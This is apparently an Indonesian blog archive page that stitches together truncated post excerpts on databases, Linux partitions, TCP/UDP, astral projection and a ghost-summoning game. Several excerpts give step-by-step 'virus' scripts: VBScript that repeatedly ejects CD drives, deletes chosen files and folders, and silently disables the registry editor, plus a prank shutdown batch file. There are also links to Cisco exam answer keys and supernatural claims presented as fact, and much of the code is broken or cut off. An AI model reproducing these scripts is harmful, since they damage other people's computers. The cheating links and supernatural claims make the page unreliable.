Rabu, 23 Januari 2013

DBMS (Database Management System)


DBMS (Database Management System)

DBMS adalah perangkat lunak yang menangani semua pengaksesan database. Mempunyai fasilitas membaut, mengakses, memanipulasi dan memelihara basis data.


FUNGSI DBMS

1. Data Definition, DBMS harus dapat mengolah pendefinisian data
2. Data Manipulation, DBMS harus dapat menangani permintaan dari pemakai untuk mengakses data
3. Data Security & Integrity, DBMS harus dapatmemeriksa security dan integrity data yang didefinisikan oleh
DBA
4. Data Recovery & Concurency, DBMS harus dapat menangani kegagalan–kegagalan pengaksesan database
yang dapat disebabkan oleh sesalahan sistem, kerusakan disk, dsb.
5. Data Dictionary, DBMS harus menyediakan data dictionary.
6. Performance, DBMS harus menangani unjuk kerja dari semua fungsi seefisien mungkin.

Link Kunci Jawaban Cisco Semua Chapter

http://hilmyfaza46.blogspot.com <---- 1- 14
febyfivers.blogspot.com <------- all chapter tapi donlot di 4shared dan buka lwat adobe
http://www.yongki-saputra.com <--------- 11-16 chapter

Kegunaan Partisi-Partisi Di linux

1. Partisi Swap
partisi swap digunakan sebagai Virtual Memory atau ibaratnya RAM cadangan jikalau RAM yg asli dah ga mumpuni untuk memproses aplikasi, nah partisi swap inilah yang menghandlenya, akan tetapi
yang perlu diingat adalah partisi swap hanya virtual memory saja, memang bukan RAM yg sesungguhnya. Wajar aje kalau penggunaannya tidak seoptimal RAM yg benernya. Kalau kata forum sebelah, besaran yg kita alokasikan untuk partisi ini sebesar 2 kali lipat dari RAM yg sudah kita punya. Kalau RAM kita dah 2GB lebih, kayanya ga perlu dibuat deh partisi ini. It's up to you

2. Partisi ext4 untuk /
nah yg ini nih Intinya, partisi / (dibaca "root") adalah tempat dimana file iso linux di Install, kalau ga ada partisi ext4 ini, jelas sudah kalau tidak ada partisi ini ga bakal bisa Install Linux. Besaran yg kita alokasikan untuk partisi ini sesuai kebutuhan kita saja, kalau saya biasanya 20GB untuk satu Distro Linux sudah cukup :)

3. partisi ext4 untuk /home
Kalau kita buat partisi / yg ada diatas, otomatis partisi ini jg akan dibuat, akan tetapi kalau kalian yg hobi naruh data di "my document"nya Linux, anda bisa membuat partisi /home ini, besarannya jg sesuaikan dgn kebutuhan anda, karena ane hanya

Protokol Dan Portnya


Protokol Dan Portnya

1.      TCP/IP
'TCP/IP (singkatan dari Transmission Control Protocol/Internet Protocol) adalah standar komunikasi data yang digunakan oleh komunitas internet dalam proses tukar-menukar data dari satu komputer ke komputer lain di dalam jaringan Internet. Protokol ini tidaklah dapat berdiri sendiri, karena memang protokol ini berupa kumpulan protokol (protocol suite). Protokol ini juga merupakan protokol yang paling banyak digunakan saat ini. Data tersebut diimplementasikan dalam bentuk perangkat lunak (software) di sistem operasi. Istilah yang diberikan kepada perangkat lunak ini adalah TCP/IP stack
Protokol TCP/IP dikembangkan pada akhir dekade 1970-an hingga awal 1980-an sebagai sebuah protokol standar untuk menghubungkan komputer-komputer dan jaringan untuk membentuk sebuah jaringan yang luas (WAN). TCP/IP merupakan sebuah standar jaringan terbuka yang bersifat independen terhadap mekanisme transport jaringan fisik yang digunakan, sehingga dapat digunakan di mana saja. Protokol ini menggunakan skema pengalamatan yang sederhana yang disebut sebagai alamat IP (IP Address) yang mengizinkan hingga beberapa ratus juta komputer untuk dapat saling berhubungan satu sama lainnya di Internet. Protokol ini juga bersifat routable yang berarti protokol ini cocok untuk menghubungkan sistem-sistem berbeda (seperti Microsoft Windows dan keluarga UNIX) untuk membentuk jaringan yang heterogen.
Protokol TCP/IP selalu berevolusi seiring dengan waktu, mengingat semakin banyaknya kebutuhan terhadap jaringan komputer dan Internet. Pengembangan ini dilakukan oleh beberapa badan, seperti halnya Internet Society (ISOC), Internet Architecture Board (IAB), dan Internet Engineering Task Force (IETF). Macam-macam protokol yang berjalan di atas TCP/IP, skema pengalamatan, dan konsep TCP/IP didefinisikan dalam dokumen yang disebut sebagai Request for Comments (RFC) yang dikeluarkan oleh IETF.

2.      UDP
UDP, singkatan dari User Datagram Protocol, adalah salah satu protokol lapisan transpor TCP/IP yang mendukung komunikasi yang tidak andal (unreliable), tanpa koneksi (connectionless) antara host-host dalam jaringan yang menggunakan TCP/IP. Protokol ini didefinisikan dalam RFC 768.
UDP memiliki karakteristik-karakteristik berikut:
  • Connectionless (tanpa koneksi): Pesan-pesan UDP akan dikirimkan tanpa harus dilakukan proses negosiasi koneksi antara dua host yang hendak berukar informasi.
  • Unreliable (tidak andal): Pesan-pesan UDP akan dikirimkan sebagai datagram tanpa adanya nomor urut atau pesan acknowledgment. Protokol lapisan aplikasi yang berjalan di atas UDP harus melakukan pemulihan terhadap pesan-pesan yang hilang selama transmisi. Umumnya, protokol lapisan aplikasi yang berjalan di atas UDP mengimplementasikan layanan keandalan mereka masing-masing, atau mengirim pesan secara periodik atau dengan menggunakan waktu yang telah didefinisikan.
  • UDP menyediakan mekanisme untuk mengirim pesan-pesan ke sebuah protokol lapisan aplikasi atau proses tertentu di dalam sebuah host dalam jaringan yang menggunakan TCP/IP. Header UDP berisi field Source Process Identification dan Destination Process Identification.
  • UDP menyediakan penghitungan checksum berukuran 16-bit terhadap keseluruhan pesan UDP.
UDP tidak menyediakan layanan-layanan antar-host berikut:
  • UDP tidak menyediakan mekanisme penyanggaan (buffering) dari data yang masuk ataupun data yang keluar. Tugas buffering merupakan tugas yang harus diimplementasikan oleh protokol lapisan aplikasi yang berjalan di atas UDP.
  • UDP tidak menyediakan mekanisme segmentasi data yang besar ke dalam segmen-segmen data, seperti yang terjadi dalam protokol TCP. Karena itulah, protokol lapisan aplikasi yang berjalan di atas UDP harus mengirimkan data yang berukuran kecil (tidak lebih besar dari nilai Maximum Transfer Unit/MTU) yang dimiliki oleh sebuah antarmuka di mana data tersebut dikirim. Karena, jika ukuran paket data yang dikirim lebih besar dibandingkan nilai MTU, paket data yang dikirimkan bisa saja terpecah menjadi beberapa fragmen yang akhirnya tidak jadi terkirim dengan benar.
  • UDP tidak menyediakan mekanisme flow-control, seperti yang dimiliki oleh TCP.
UDP sering digunakan dalam beberapa tugas berikut:
  • Protokol yang "ringan" (lightweight): Untuk menghemat sumber daya memori dan prosesor, beberapa protokol lapisan aplikasi membutuhkan penggunaan protokol yang ringan yang dapat melakukan fungsi-fungsi spesifik dengan saling bertukar pesan. Contoh dari protokol yang ringan adalah fungsi query nama dalam protokol lapisan aplikasi Domain Name System.
  • Protokol lapisan aplikasi yang mengimplementasikan layanan keandalan: Jika protokol lapisan aplikasi menyediakan layanan transfer data yang andal, maka kebutuhan terhadap keandalan yang ditawarkan oleh TCP pun menjadi tidak ada. Contoh dari protokol seperti ini adalah Trivial File Transfer Protocol (TFTP) dan Network File System (NFS)

Membuat Virus Pembuka CD/DVD


Cara Membuat Virus Pembuka CD/DVD

Masih semangat kan belajar bikin virusnya? kali ini kita akan belajar cara membuat virus yang dapat membuka CD/DVD komputer secara otomatis (kayak ada penunggunya, hihi)

1. Tentu aja buka notepadnya dulu
2. copy script berikut
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
w

Membuat Virus Penghapus File dan Folder



Cara Membuat Virus Penghapus File dan Folder
Written By When Sangkala Talking..... on 24 Juni 2011 | 20:12
Hmmm...kali ini kita akan membuat virus yang sedikit serius, kok gitu? ya iyalah, kan virusnya bisa menghapus sebuah folder dan file yang kita inginkan, ihh seremm....^_^

1. Buka notepad lagi
2. Copykan kode berikut

On Erorr Resume Next
set hapus=
CreateObject("Scripting.FileSystemObject")
hapus.DeletFile
"C:\xxx.exe"
+(menghapus file xxx.exe di directori C:\)+
hapusDeletFolder
"C:\anti

Membuat Virus Disable Registry


Cara Membuat Virus Disable Registry
Wah akhirnya bisa mosting lagi nih, setelah beberapa waktu yang lalu disibukkan dengan UAS di kampus, do'ain semoga lulus yah sahabat. Nah pada malam ini kita akan belajar mengenai bagaimana cara membuat virus yang dapat mematikan atau bahasa kerennya disable registry editor penasaran? yuk ikuti step by step berikut ini...

1. Buka notepad
2. Kemudian copykan script di bawah ini
On Erorr Resume Next
Createobject("WScript.Shell").run "cmd.exe/c
reg add

hkcusoftware\microsoft\windows\currentversion\poli cies\system /v disableregistrytools /t reg dword /d ""1"" /f",
vbhide

3. simpan dengan eksistensi .vbs dan dalam format All Files

Cara Membuat Virus Sederhana"Virus Shutdwon PC"

cara membuat virus shutdown

agan''..mavv sblmnya mngkin nie uda prnh da yg denger ttg buat virus shutdown.

ane mwu berbagi aje..tujuan dr nie cm untuk ngerjain temen aje..
Langsung aje ye!!

langkah 1:
ketikkan [copas] script dbwh nie pd notped n simpen dgn ekstensi .bat.

@echo off
title :: Surprise ::
:menu
cls
echo Tolong Sebutkan Jenis Kelamin Anda?
pause
echo Silahkan Pilih Salah Satu:
echo 1.

Langkah Awal Untuk Menjadi Hacker Dan Cracker


Banyak orang yang bertanya Apa Langkah Awal menjadu Hackers dan Crackers

Nah Saya akan membahasnya full disni

1.Keyakinan kamu mau selamanya jadi Hacker dan kamu harus punya pendirian yang teguh

2.Berusaha Keras mencari dan memecahkan teka teki

3.Dulu ketika orang ingin menjadi Hacker/Cracker hanya orang pintar dan kaya tetapi skrg siapapun bisa asal ada kemauan dan tekad yg keras

3.Komp Minimal Core 2 Duo E7400 2.8 2.8 ghz

RAM 2GB
VGA Card Intel Express G41

CPU Fan 5 Lebih
Internet Speed:56kbps keatas
Diatas spek komp yang cocok dan enak untuk Hacking biar hacking dan cracking lancar

Cara Melakukan Astral


~ PERJALANAN KELUAR TUBUH (ASTRAL PROJECT) CARA KELUAR DARI TUBUH KITA ~

Apakah kalian tahu apa itu Astral Project , adalah pengalaman keluarnya roh kita dari tubuh . Setelah kita keluar dari tubuh kita , biasanya kita akan melihat banyak roh halus di luar tubuh kita . Sudah banyak sekali orang yang mampu melakukan Astral Project , Selain Astral Project masih ada lagi teknik yang hampir mirip , nama nya LUCID DREAM . Tetapi saya akan fokus membahas tentang astral Project

~
PADA SAAT KETINDIHAN ADALAH SAAT YANG PALING TEPAT UNTUK KELUAR DARI TUBUH ~

Ketindihan (Sleep Paralyzed) adalah di mana tubuh kita tidak bisa bergerak saat tidur , misalkan anda sudah sadar ingin bangun , tetapi tubuh anda tidak dapat di gerakan . Banyak orang yang mengira apabila itu adalah sejenis perbuatan Roh Halus . Tetapi itu semua sudah dapat di jelaskan ilmiah . Apabila anda sudah mengalami Ketindihan , yang pertama tama anda harus lakukan adalah , fokuskan pikiran dan santay . Jangan sampai anda melakukan gerakan yang merusak Sleep Paralysed / Ketindihan . Meskipun tubuh kita lumpuh tetapi pikiran kita tidak lah lumpuh , Sugestikan pikiran anda bahwa roh anda akan keluar dari tubuh sementara anda . Banyak cara untuk mendorong kesadaran anda keluar dengan sugestikan pikiran kesadaran anda seakan terdorong ke atas . Dengan melakukan cara tersebut sebenarnya kesadaran anda sudah mulai keluar perlahan lahan .

Dan akhirnya roh anda keluar dari tubuh nya , biasanya anda akan melihat ada benarng perak yang tersambung ke dalam tubuh anda yang terbaring . NOTE : JIKA INI BERHASIL SEBAIKNYA ANDA JANGAN BERJALAN SAMPAI KELUAR DARI RUMAH ANDA .
Setelah anda keluar dari tubuh anda biasanya anda akan dapat melihat Roh Roh halus lain nya , tetapi jangan takut mereka tidak akan melukai dan menculik anda seperti dalam film INSIDIOUS.

*** CARA AGAR KETINDIHAN

Pada saat tubuh kita tertidur , pikiran kita jangan sampai hanyut . Dengan sadar atur nafas anda sembari tidur , lalu biasa nya anda akan langsung mengalami ketindihan .

Beberapa Kunci Sukses untuk melakukan Astral Project :

Konsentrasi
Fokus
Yakin

Permainan Setan Daruma


Daruma adalah sebuah permainan paranormal yang berasal dari Jepang. Permainan ini melibatkan pemanggilan para hantu yang mengerikan yang akan mengikuti kalian sepanjang hari. Tujuan dari permainan ini adalah kalian harus menghindari hantu ini dan jangan sampai tertangkap olehnya, jika kalian tertangkap maka arwah kalian akan di ambil olehnya.

Instruksi Permainan Daruma ini adalah sebagai berikut.


Langkah 1 adalah Sebelum kalian tidur pada malam hari, lepaskanlah pakaian kalian dan pergi ke kamar mandi.

Langkah 2 adalah Isilah bathtub dengan air dan mematikan lampu kamar mandi.

Langkah 3 adalah Duduk di tengah bak mandi dan menghadap ke keran air.

Langkah 4 adalah Cucilah rambut kalian, sambil m

ARSITEKTUR KOMUNIKASI KOMPUTER


1.       ARSITEKTUR KOMUNIKASI KOMPUTER
Ada 2 arsitektur protocol yg digunakan sbg dasar bagi pengembangan standar-standar :
1.       MODEL TCP/IP ( 4 LAYER )
Model dan protocol TCP/IP merupakan open standard yang merupakan standar teknis dan historis dari internet. Pada tahun 1973, Bob Kahn dan Vint Cref mengerjakan proyek yg nantinya disebut TCP/IP. Selanjutnya, model TCP/IP dikembangkan department pertahanan USA (DoD), pada tahun 1981 dgn tujuan ingin menciptakan suatu jaringan yg dapat bertahan dalam segala kondisi. TCP/IP adalah jenis protocol pertama yg digunakan dalam hubungan internet, sehingga banyak istilah dan konsep yg dipakai dalam hubungan internet berasal dari istilah dan konsep dan dipakai oleh protocol TCP/IP. Perkembangan TCP/IP menciptakan suatu standar de facto, yaitu suatu standar yg diterima oleh kalangan pemakai dengan sendirinya krn pemakaian yg luas.
Gambar dibawah ini merupakan gambaran dari model TCP/IP dimana dapat dilihat bahwa model TCP/IP juga dibagi menjadi 2 bagian yaitu bagian network dan protocol.

Application
Protocols
Transport
Internet
Networks
Network access

Application layer
Application layer  pada model TCP/IP menangani protocol tingkat tinggi yang berhubungan dengan represenatasi, encoding, dan dialog control. p